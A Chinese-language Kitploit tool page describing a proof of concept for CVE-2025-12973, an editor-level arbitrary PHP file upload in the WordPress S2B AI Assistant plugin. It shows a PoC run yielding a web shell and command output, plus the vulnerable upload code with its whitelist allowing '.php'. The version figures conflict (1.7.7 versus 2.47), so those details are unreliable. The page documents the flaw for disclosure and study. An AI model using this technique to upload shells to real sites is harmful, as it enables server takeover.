Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-12973 — S2B AI 助手 – 聊天机器人, ChatGPT, OpenAI, 内容与图像生成器 <= 1.7.7 - 已认证(编辑者+)任意文件上传 | Kitploit
工具/GitHubGitHub/d0n601/cve-2025-12973
Payload生成漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubd0n601/cve-2025-12973

CVE-2025-12973

S2B AI 助手 – 聊天机器人, ChatGPT, OpenAI, 内容与图像生成器 <= 1.7.7 - 已认证(编辑者+)任意文件上传

查看仓库
1310个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

S2B AI Assistant – ChatBot, ChatGPT, OpenAI, Content & Image Generator <= 1.7.7 - 已验证(编辑者+)任意文件上传

WordPress S2B AI Assistant 插件(版本 2.47 及更早版本)包含一个任意文件上传漏洞,允许具有编辑者角色或更高级别的已验证WordPress用户向服务器上传恶意PHP文件,可能导致远程代码执行。

快速利用演示

提供了一个 POC CVE-2025-12973.py 来演示远程攻击者上传 shell.php 并执行远程代码:

root@kitploit:~
python3 ./CVE-2025-12973.py http://techcorp.cc editor $PASSWORD
[+] Target: http://techcorp.cc
[+] Username: editor
[+] Nonce obtained: a15be47119
[+] File uploaded successfully!
[+] Shell URL: http://techcorp.cc/wp-content/uploads/2025/11/shell.php
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

技术描述

该漏洞存在于 Utils.php 文件的 storeFile() 方法中,该方法由 /wp-admin/admin-post.php 端点通过 action s2b_store_chatbot_upload 调用。上传功能使用了一个自定义的文件扩展名白名单,该白名单明确允许包括PHP文件在内的危险文件类型。这使得具有编辑者角色或更高级别的已验证WordPress用户能够上传任意文件,包括可在服务器上执行的PHP文件。

攻击路径分析

源头:来自 $_FILES['s2baia_chatbot_config_database'] 的用户输入(第300行) 终点:$wp_filesystem->put_contents($outfile, $file_content, FS_CHMOD_FILE)(第344行)

漏洞发生的原因如下:

  1. 路由注册:上传端点注册在 AdminChatBotController.php 中。
  2. 控制器访问:processAssistantUpload() 方法处理上传请求(第1103行)。
  3. 输入处理:来自 $_FILES['s2baia_chatbot_config_database'] 的用户控制的文件数据直接进行处理,未经充分的验证。
  4. 文件处理:仅使用 checkAllowedFilesearchExtensions()(第320行)进行自定义扩展名白名单检查,该函数明确允许 .php 扩展名(第366行)。
  5. 文件存储:文件保存到 wp-content/uploads/YYYY/MM/。

易受攻击的代码位置

文件:lib/helpers/Utils.php 行号:第289-348行

root@kitploit:~
public static function storeFile($targetDir) {
    global $wp_filesystem;

    // Initialize WP_Filesystem
    if (!function_exists('request_filesystem_credentials')) {
        require_once ABSPATH . 'wp-admin/includes/file.php';
    }
    if (!WP_Filesystem()) {
        return '';
    }

    if (!isset($_FILES) || !is_array($_FILES) || !isset($_FILES['s2baia_chatbot_config_database'])) {  // SOURCE: User input ([line 300](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L300))
        return '';
    }

    if (!isset($_FILES['s2baia_chatbot_config_database']['error']) || !isset($_FILES['s2baia_chatbot_config_database']['name']) || !isset($_FILES['s2baia_chatbot_config_database']['size']) || !isset($_FILES['s2baia_chatbot_config_database']['tmp_name'])) {
        return '';
    }

    $chunk = isset($_REQUEST["chunk"]) ? (int) $_REQUEST["chunk"] : 0;
    $name = sanitize_file_name($_FILES['s2baia_chatbot_config_database']['name']);
    if (strlen($name) == 0) {
        return '';
    }

    $finfo = pathinfo($name);

    if (is_array($finfo)) {
        $fname = sanitize_file_name($finfo['filename']);
        $fext = $finfo['extension'];
        if (!self::checkAllowedFilesearchExtensions($fext)) {  // Only custom whitelist check ([line 320](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L320))
            return '';
        }
        if ($wp_filesystem->exists($targetDir . DIRECTORY_SEPARATOR . $name)) {
            $timest = time();
            $name = $fname . '_' . $timest . '_' . random_int(1000, 9999) . '.' . $fext;
        }
    }

    $tmp_name = sanitize_text_field($_FILES['s2baia_chatbot_config_database']['tmp_name']);
    $outfile = $targetDir . DIRECTORY_SEPARATOR . $name;

    // Open the output file and write contents using WP_Filesystem
    if ($chunk === 0) {
        $wp_filesystem->put_contents($outfile, '', FS_CHMOD_FILE);
    }

    // Read the temporary file and append its contents to the output file
    $file_content = $wp_filesystem->get_contents($tmp_name);
    if ($file_content === false) {
        return '';
    }

    // Append content to the file
    if (!$wp_filesystem->put_contents($outfile, $file_content, FS_CHMOD_FILE)) {  // SINK: Direct file write ([line 344](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L344))
        return '';
    }

    // Delete the temporary file using WordPress method
    // ... rest of function
}

文件:lib/helpers/Utils.php 行号:第354-383行

root@kitploit:~
public static function checkAllowedFilesearchExtensions($ext) {
    switch ($ext) {
        case 'c':
        case 'cs':
        case 'cpp':
        case 'doc':
        case 'docx':
        case 'html':
        case 'java':
        case 'json':
        case 'md':
        case 'pdf':
        case 'php':  // Explicitly allows PHP files ([line 366](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L366))
        case 'pptx':
        case 'py':
        case 'rb':
        case 'tex':
        case 'txt':
        case 'css':
        case 'js':
        case 'sh':
        case 'ts':

            return true;

        default:
            return false;
    }
    return false;
}
下载工具